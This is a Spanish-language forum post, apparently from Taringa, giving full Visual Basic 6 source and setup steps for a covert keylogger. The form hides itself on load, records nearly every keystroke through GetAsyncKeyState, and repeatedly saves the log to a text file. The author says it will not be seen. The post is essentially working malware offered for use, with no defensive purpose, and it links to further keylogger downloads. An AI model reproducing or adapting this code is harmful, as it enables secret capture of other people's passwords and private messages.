Bueno simplemente comienzo:
1 form y 1 modulo
en el form ponemos 3 timers y un Text
en propiedades del text en scrollbars seleccionamos "3 - Both", en Multiline damos "True"
luego hacemos doble click dentro del Form y borramos todo y luego pegamos el siguiente codigo
dijo:Option Explicit
'En vb2, vb3 y vb4 de 16 bits
'Private Declare Function GetAsyncKeyState Lib "user" (ByVal vKey As Integer) As Integer
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Dim i
Dim LastData As String
Dim Shift As Integer
Dim Caps As Integer
Dim KeyResult As Long
Private Sub AddKey(Key As String)
Text1 = Text1 & Key
Text1.SelStart = Len(Text1)
End Sub
Private Sub Form_Load()
Timer1.Enabled = True
Timer1.Interval = 1
Timer2.Enabled = True
Timer2.Interval = 100
Timer3.Enabled = True
Timer3.Interval = 1
Form1.Visible = False
'En el Form_Load del text-box:
Dim LTmp As Long
LTmp = SendMessage(Text1.hwnd, EM_LIMITTEXT, 0, ByVal 0& )
End Sub
Private Sub Form_Unload(Cancel As Integer)
Form3.Show
Me.Hide
End Sub
Private Sub Timer1_Timer()
KeyResult = GetAsyncKeyState(20)
If KeyResult = -32767 Then
If Caps Then
Caps = False
Else
Caps = True
End If
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(13)
If KeyResult = -32767 Then
AddKey "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(8)
If KeyResult = -32767 Then
AddKey "[BKSPACE]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(9)
If KeyResult = -32767 Then
AddKey "[TAB]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(27)
If KeyResult = -32767 Then
AddKey "[Esc]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey "[Espacio]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(37)
If KeyResult = -32767 Then
AddKey "[LEFT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(38)
If KeyResult = -32767 Then
AddKey "[UP]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(39)
If KeyResult = -32767 Then
AddKey "[RIGHT]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(40)
If KeyResult = -32767 Then
AddKey "[DOWN]"
GoTo KeyFound
End If
For i = 65 To 90
KeyResult = GetAsyncKeyState(i)
If KeyResult = -32767 Then
If Shift Then
If Caps Then AddKey Chr(i + 32) Else AddKey Chr(i)
Else
If Caps Then AddKey Chr(i) Else AddKey Chr(i + 32)
End If
GoTo KeyFound
End If
Next i
For i = 48 To 57
KeyResult = GetAsyncKeyState(i)
If KeyResult = -32767 Then
If Shift Then
If i = 49 Then AddKey Chr(33)
If i = 50 Then AddKey Chr(64)
If i = 51 Then AddKey Chr(35)
If i = 52 Then AddKey Chr(36)
If i = 53 Then AddKey Chr(37)
If i = 54 Then AddKey Chr(94)
If i = 55 Then AddKey Chr(38)
If i = 56 Then AddKey Chr(42)
If i = 57 Then AddKey Chr(40)
If i = 48 Then AddKey Chr(41)
Else
AddKey Chr(i)
End If
GoTo KeyFound
End If
Next i
KeyResult = GetAsyncKeyState(16)
If KeyResult = -32767 And Not Shift Then
Shift = True
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(32)
If KeyResult = -32767 Then
AddKey " "
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(189)
If KeyResult = -32767 Then
If Shift Then AddKey "_" Else AddKey "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(187)
If KeyResult = -32767 Then
If Shift Then AddKey "+" Else AddKey "="
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(112)
If KeyResult = -32767 Then
AddKey "[F1]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(113)
If KeyResult = -32767 Then
AddKey "[F2]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(114)
If KeyResult = -32767 Then
AddKey "[F3]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(115)
If KeyResult = -32767 Then
AddKey "[F4]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(116)
If KeyResult = -32767 Then
AddKey "[F5]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(117)
If KeyResult = -32767 Then
AddKey "[F6]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(118)
If KeyResult = -32767 Then
AddKey "[F7]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(119)
If KeyResult = -32767 Then
AddKey "[F8]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(120)
If KeyResult = -32767 Then
AddKey "[F9]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(121)
If KeyResult = -32767 Then
AddKey "[F10]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(122)
If KeyResult = -32767 Then
AddKey "[F11]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(123)
If KeyResult = -32767 Then
AddKey "[F12]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(124)
If KeyResult = -32767 Then
AddKey "[F13]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(125)
If KeyResult = -32767 Then
AddKey "[F14]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(126)
If KeyResult = -32767 Then
AddKey "[F15]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(127)
If KeyResult = -32767 Then
AddKey "[F16]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(186)
If KeyResult = -32767 Then
If Shift Then AddKey ":" Else AddKey ";"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(188)
If KeyResult = -32767 Then
If Shift Then AddKey "<" Else AddKey ","
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(190)
If KeyResult = -32767 Then
If Shift Then AddKey ">" Else AddKey "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(191)
If KeyResult = -32767 Then
If Shift Then AddKey "?" Else AddKey "/"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(192)
If KeyResult = -32767 Then
If Shift Then AddKey "~" Else AddKey "`"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(222)
If KeyResult = -32767 Then
If Shift Then AddKey Chr(34) Else AddKey "'"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(220)
If KeyResult = -32767 Then
If Shift Then AddKey "|" Else AddKey ""
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(221)
If KeyResult = -32767 Then
If Shift Then AddKey "}" Else AddKey "]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(219)
If KeyResult = -32767 Then
If Shift Then AddKey "{" Else AddKey "["
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(96)
If KeyResult = -32767 Then
AddKey "0"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(97)
If KeyResult = -32767 Then
AddKey "1"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(98)
If KeyResult = -32767 Then
AddKey "2"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(99)
If KeyResult = -32767 Then
AddKey "3"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(100)
If KeyResult = -32767 Then
AddKey "4"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(101)
If KeyResult = -32767 Then
AddKey "5"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(102)
If KeyResult = -32767 Then
AddKey "6"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(103)
If KeyResult = -32767 Then
AddKey "7"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(104)
If KeyResult = -32767 Then
AddKey "8"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(105)
If KeyResult = -32767 Then
AddKey "9"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(106)
If KeyResult = -32767 Then
AddKey "*"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(107)
If KeyResult = -32767 Then
AddKey "+"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(108)
If KeyResult = -32767 Then
AddKey "[ENTER]"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(109)
If KeyResult = -32767 Then
AddKey "-"
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(110)
If KeyResult = -32767 Then
AddKey "."
GoTo KeyFound
End If
KeyResult = GetAsyncKeyState(111)
If KeyResult = -32767 Then
AddKey "/"
GoTo KeyFound
End If
KeyFound:
End Sub
Private Sub Timer2_Timer()
On Error Resume Next
Dim graba As String
graba = "DIRECCION" 'direccion en donde se va a guardar automaticamente el contenido detectado mas el nombre del archivo con extension "TXT" pero nunca le quiten las comillas... ej.: "D:Resultado.txt"
Open graba For Output As #1
Print #1, Date & vbCrLf & "--------------------------------" & vbCrLf; Text1.Text
Close #1
End Sub
[/quote]
y en el Modulo
dijo
ublic Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As LongPublic Const WM_USER = &H400
Public Const EM_LIMITTEXT = WM_USER + 21
[/quote]
Ahora a provar y el keylogger no lo van a ver ya que va a estar oculto
Ahora el keylogger que hise yo algo con un poco mas de detalle
http://www.taringa.net/posts/downloads/10729986/Un-keylogger-echo-por-mi-en-VB6.html
Un reproductor avanzado
http://www.taringa.net/posts/downloads/10722208/reprodutor-_avanzado_-que-hise-con-vb6.html
Mail-Blue (para enviar correo electrtonico)
http://www.taringa.net/posts/downloads/10758434/mail-blue_echo-por-mi-en-vb6_.html
Favor Pasense por mi comunidad y formen parte
http://www.taringa.net/comunidades/programando-taringa/
Mi foro sobre VB
http://programadoresvb.tk/
Comentar es Agradecer
